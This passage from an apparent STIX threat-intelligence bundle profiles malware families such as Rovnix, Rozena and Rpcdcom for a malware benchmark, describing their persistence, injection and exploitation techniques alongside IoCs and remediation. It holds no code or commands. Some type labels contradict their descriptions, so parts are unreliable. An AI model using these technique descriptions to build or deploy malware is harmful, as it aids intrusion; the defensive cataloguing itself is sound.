    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e423366b-7fe6-5069-8661-67573f8dd2d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a1df38-69fa-5b83-8efc-f8d5f82a4237",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rootkitdrv exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blinding EDR sensors))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c953a21b-49ea-5893-8c79-f316563d4ca9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rostpay",
      "description": "<h3>Executive Summary</h3>\nRostpay is a malicious Trojan that frequently exhibits destructive behavior, often operating as a \"locker\" ransomware or a data-wiping utility. Unlike sophisticated, enterprise-targeting ransomware (which uses strong cryptography to hold files hostage), Rostpay variants often simply lock the user's screen or scramble files in a crude, often irreversible manner to extort a small ransom or simply cause disruption.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRostpay is predominantly distributed through deceptive software downloads, fake cracks/keygens on untrustworthy websites, or via malspam campaigns targeting individuals rather than large enterprises.\n\nUpon successful execution, Rostpay initiates a disruptive attack sequence:\n<ul>\n<li><strong>Screen Locking (Locker Ransomware):</strong> Many variants of Rostpay do not encrypt files. Instead, they disable the Task Manager, block the keyboard (except for specific inputs), and display a persistent, full-screen ransom note demanding payment (often via premium SMS or low-value cryptocurrency transfers).</li>\n<li><strong>Crude Data Disruption:</strong> If the variant does target files, it often uses simple, flawed encryption (like XOR obfuscation) or simply overwrites the file headers, corrupting the data rather than securely encrypting it for later decryption.</li>\n<li><strong>Persistence:</strong> Rostpay ensures it survives system reboots by aggressively modifying the Windows Registry (e.g., altering the `Winlogon\\Shell` key to launch the malware instead of `explorer.exe`).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile a Rostpay infection might lack the sophistication of an APT or major ransomware gang, it represents a severe, immediate loss of system availability. The crude nature of the malware means that even if a ransom is paid, data recovery is often impossible because the files were corrupted rather than properly encrypted.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Recovery:</strong> Because many Rostpay variants rely on simple registry modifications for screen locking, booting the system into Windows \"Safe Mode with Command Prompt\" often bypasses the malware's execution.</li>\n<li><strong>Registry Repair:</strong> From Safe Mode, incident responders can manually use `regedit` to repair the modified `Winlogon` keys or remove the malicious `Run` entries.</li>\n<li><strong>System Re-imaging:</strong> Given the high likelihood of irreversible file corruption and the difficulty of ensuring complete removal, the safest remediation strategy is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Rostpay",
        "Ransom.Locker.Rostpay",
        "Win32/Rostpay"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rostpay",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rostpay"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c63c865-1f23-5f7a-add7-df42b84d9823",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c953a21b-49ea-5893-8c79-f316563d4ca9",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rostpay exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e27cc477-ed97-5410-8ab3-f68c73715d44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c953a21b-49ea-5893-8c79-f316563d4ca9",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rostpay exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77242bef-c5b1-51c6-8fe6-475478b2e7c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c953a21b-49ea-5893-8c79-f316563d4ca9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rostpay exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea25659f-708e-58f8-91c5-54d648f611e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rovnix",
      "description": "Trojan:Win32/Rovnix is a highly sophisticated bootkit and trojan downloader designed to infect the Master Boot Record (MBR) or Volume Boot Record (VBR) to achieve deep, undetectable persistence.<br><br><b>What is Rovnix?</b><br>For general users, Rovnix is invisible. For incident responders and forensic analysts, Rovnix represents one of the most difficult classes of malware to eradicate. By infecting the boot sector, Rovnix executes before the Windows operating system even loads. This allows it to patch the Windows kernel in memory, subvert all local security software, and load its malicious drivers completely undetected by standard anti-virus scanners.<br><br><b>Infection Vectors & Threat Hunting</b><br>Rovnix is typically distributed by other malware downloaders, exploit kits, or spearphishing campaigns. Upon execution, the installer drops a malicious driver (often highly obfuscated) that overwrites the VBR. Upon the next reboot, the bootkit loads into memory, hooks the <code>INT 13h</code> disk interrupt, and intercepts the OS loading process. Threat hunters cannot rely on file-level scanning to find Rovnix. Instead, they must hunt for anomalous outbound network connections to DGA domains (used to download secondary payloads like Carberp) or use specialized forensic tools to analyze the raw disk sectors.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact of Rovnix is its ability to securely download and execute arbitrary secondary payloads while remaining completely hidden. Because it operates at Ring 0 (kernel level), it can intercept file system requests to hide its own components. Incident responders must perform offline forensic imaging (booting from a clean USB) to safely analyze the compromised MBR/VBR and extract the malicious driver payload for reverse engineering. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "rootkit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rovnix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rovnix"
        }
      ],
      "labels": [
        "bootkit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94883325-49f8-5e8d-abb5-72718c725946",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea25659f-708e-58f8-91c5-54d648f611e6",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rovnix exhibits technique T1542.003 (Pre-OS Boot: Bootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--447b9450-04c2-5f18-9f42-01ccd5d4b561",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea25659f-708e-58f8-91c5-54d648f611e6",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rovnix exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c35f729-6a5b-5425-9d8e-d337f251db38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea25659f-708e-58f8-91c5-54d648f611e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rovnix exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2be4074f-761d-5f36-b21c-add0e086d4e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea25659f-708e-58f8-91c5-54d648f611e6",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rovnix exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8013ba8e-3229-57ea-938f-3461e726884a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea25659f-708e-58f8-91c5-54d648f611e6",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rovnix exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e55573d-46c1-58fd-96f6-119ce0a7f95a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rozena",
      "description": "Rozena (cataloged across threat research publications and antimalware engines under detections including Backdoor:Win32/Rozena, Trojan.Win32.ROZENA, and Backdoor.Rozena) is a stealthy Windows backdoor and fileless threat loader first documented in 2015. Rozena gained widespread prominence for its integration into targeted spearphishing campaigns weaponized with Microsoft Office exploits (such as CVE-2017-0199 and the Follina MSDT flaw CVE-2022-30190) as well as abuse of legitimate cloud channels like Discord. Once launched, Rozena leverages obfuscated PowerShell loader scripts (including modular injector and decoder routines) to perform memory-resident code injection directly into trusted Windows processes such as wordpad.exe or svchost.exe. It establishes an encrypted reverse shell connecting back to remote C2 infrastructure, allowing attackers to spawn interactive cmd.exe command prompts, execute reconnaissance utilities, and download secondary payloads while evading traditional file-based antivirus scanners. (Observed samples in benchmark: 75)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Rozena",
        "Trojan.Win32.ROZENA",
        "Backdoor.Rozena",
        "Trojan:Win32/Rozena"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rozena",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rozena"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e382a082-1bbc-5de2-bbb0-e53828d61a4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e55573d-46c1-58fd-96f6-119ce0a7f95a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozena exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b61c1f4-de44-5c75-9a46-d3784618d2c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e55573d-46c1-58fd-96f6-119ce0a7f95a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozena exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6fabc42-53cd-5699-9c19-0bf9b9cac486",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e55573d-46c1-58fd-96f6-119ce0a7f95a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozena exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aeb87c2c-f76c-561a-a38c-7db8753baf5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e55573d-46c1-58fd-96f6-119ce0a7f95a",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozena exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41c0de22-406a-55f5-a868-755828f8943f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e55573d-46c1-58fd-96f6-119ce0a7f95a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozena exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87b9577e-6d86-56e9-b88b-ea76fd693418",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rozenaa",
      "description": "<h3>Executive Summary</h3>\nRozenaa is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRozenaa is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Rozenaa operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Rozenaa ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Rozenaa receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Rozenaa infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Rozenaa executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Rozenaa frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Rozenaa",
        "Downloader.Rozenaa",
        "Win32/Rozenaa"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rozenaa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rozenaa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bda31d51-dc0c-5cb3-b833-6200e32e5b72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87b9577e-6d86-56e9-b88b-ea76fd693418",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozenaa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa5541cd-55b1-543d-b254-842989e652fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87b9577e-6d86-56e9-b88b-ea76fd693418",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozenaa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b45b4875-55cb-5aff-b3b1-993363a5c800",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87b9577e-6d86-56e9-b88b-ea76fd693418",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rozenaa exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--05471619-9b72-5df4-8fad-623ff0dee11c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rpcdcom",
      "description": "Exploit:Win32/Rpcdcom is an extremely critical vulnerability detection that identifies attempts to exploit the notorious **MS03-026** vulnerability in the Microsoft RPC (Remote Procedure Call) DCOM interface. This specific exploit is infamous because it was the primary propagation vector for the devastating **Blaster** (and Nachi) worms in 2003, which caused billions of dollars in damage globally.<br><br><b>Understanding Rpcdcom (MS03-026)</b><br>To an end-user, a successful exploit often results in the system repeatedly and unexpectedly restarting with an error message about `NT AUTHORITY\\SYSTEM`. For a network administrator, an Rpcdcom alert indicates that an unpatched machine is under active attack, or worse, that a worm is actively scanning and propagating within the internal network (`T1210`). The vulnerability allows for unauthenticated Remote Code Execution (RCE) at the SYSTEM level.<br><br><b>Execution and Exploitation Mechanics</b><br>The attacker or worm sends a specially crafted, oversized packet to port 135 (the RPC Endpoint Mapper) on the target machine. This triggers a buffer overflow in the RPC DCOM interface (`T1190`), allowing the attacker to inject and execute arbitrary shellcode in the context of the `SYSTEM` account (`T1068`). Once the shellcode executes, it typically drops a secondary payload (like `msblast.exe`) and initiates a TFTP (`T1105`) transfer to pull down the rest of the worm's components, establishing persistence and beginning to scan for new targets.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total, unauthenticated system compromise. Network IoCs include a massive spike in traffic on TCP port 135 (RPC) and UDP port 69 (TFTP). Host-based IoCs include the unexpected termination of the `svchost.exe` process (which hosts the RPC service), resulting in the classic 60-second shutdown timer. The presence of files like `msblast.exe` or `teekids.exe` in the `System32` directory is a definitive indicator. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rpcdcom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rpcdcom"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b64e67da-333c-5d58-a2eb-f3f7f4d91e8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05471619-9b72-5df4-8fad-623ff0dee11c",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rpcdcom exhibits technique T1190 (Exploit Public-Facing Application (MS03-026 RPC DCOM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4a3b110-f224-5210-958e-f621de26dc47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05471619-9b72-5df4-8fad-623ff0dee11c",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rpcdcom exhibits technique T1210 (Exploitation of Remote Services (Worm propagation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a56922b9-bb67-547c-9c8b-20bae0b3f5eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05471619-9b72-5df4-8fad-623ff0dee11c",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rpcdcom exhibits technique T1068 (Exploitation for Privilege Escalation (Executing as SYSTEM))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c931833-e9ef-593e-88c0-eaffba6012e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rpdpatch",
      "description": "<h3>Executive Summary</h3>\nRPDPatch (or RDP Patcher) is a classification for tools, often flagged as HackTools or Riskware, designed to circumvent Microsoft Windows licensing restrictions. Standard Windows client operating systems (like Windows 10/11 Pro) only allow a single, concurrent Remote Desktop Protocol (RDP) session. RPDPatch alters system DLLs (specifically `termsrv.dll`) to allow multiple, simultaneous RDP connections to a single client machine. While sometimes used legitimately by aggressive IT administrators, threat actors heavily abuse this tool to establish persistent, interactive remote access to compromised systems without interrupting the legitimate user's session.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRPDPatch is a post-exploitation tool. It is manually deployed and executed by an attacker who has already breached the endpoint, escalated privileges to Administrator or SYSTEM, and wishes to solidify their backdoor access.\n\nUpon execution, RPDPatch modifies core OS components:\n<ul>\n<li><strong>DLL Patching (`termsrv.dll`):</strong> The tool forcibly modifies the binary code of the Terminal Services DLL (`termsrv.dll`) in the `System32` directory. It patches the specific conditional jumps that enforce the single-session connection limit, effectively unlocking Windows Server-like terminal services on a client OS.</li>\n<li><strong>Service Restart:</strong> After patching the DLL, the tool restarts the Remote Desktop Services (`TermService`) to apply the changes.</li>\n<li><strong>Covert Access:</strong> Once patched, the attacker can connect via RDP to the compromised machine at any time, using a stolen credential or a newly created hidden admin account, without kicking the legitimate user off the computer. This allows for highly stealthy, interactive lateral movement.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized detection of an RPDPatch is a critical indicator of a severe, ongoing compromise. It signifies that an attacker has gained complete administrative control over the endpoint, is actively establishing persistent backdoors, and is likely using the machine as a pivot point to attack the rest of the network via RDP.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint immediately to terminate the attacker's active RDP session and prevent further lateral movement.</li>\n<li><strong>Forensic Investigation of User Accounts:</strong> Analysts must immediately investigate the local SAM database and Active Directory logs to identify which accounts the attacker used to authenticate via the patched RDP service, and look for any newly created, hidden administrator accounts.</li>\n<li><strong>Total Re-imaging:</strong> Because the attacker had interactive SYSTEM-level access and actively modified core Windows DLLs, attempting to manually revert the `termsrv.dll` patch is insufficient. The endpoint must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.RPDPatch",
        "Riskware.RDPPatcher",
        "Tool.RDPWrap",
        "Win32/Patch.RDP"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rpdpatch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rpdpatch"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c5f1af74-2e3d-5311-a9ff-b1df0b9b8067",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1563.002: RDP Hijacking",
      "description": "MITRE ATT&CK Technique T1563.002 (RDP Hijacking) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1563.002",
          "url": "https://attack.mitre.org/techniques/T1563/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41f71329-e55c-50f4-8852-5546af8b96b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c931833-e9ef-593e-88c0-eaffba6012e4",
      "target_ref": "attack-pattern--c5f1af74-2e3d-5311-a9ff-b1df0b9b8067",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rpdpatch exhibits technique T1563.002 (RDP Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b03fb32-4917-57c0-8461-31514eb12ee9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c931833-e9ef-593e-88c0-eaffba6012e4",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rpdpatch exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Utilizing built-in or custom VNC for graphical access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9554674d-516a-5f57-93ff-c48a14f12f5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c931833-e9ef-593e-88c0-eaffba6012e4",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rpdpatch exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d8b0567-2c35-5610-8569-5d5469a5ea11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ruandmel",
      "description": "Trojan:Win32/Ruandmel is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ruandmel</b><br>To an end-user, a Ruandmel infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ruandmel is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ruandmel is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ruandmel frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ruandmel reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled 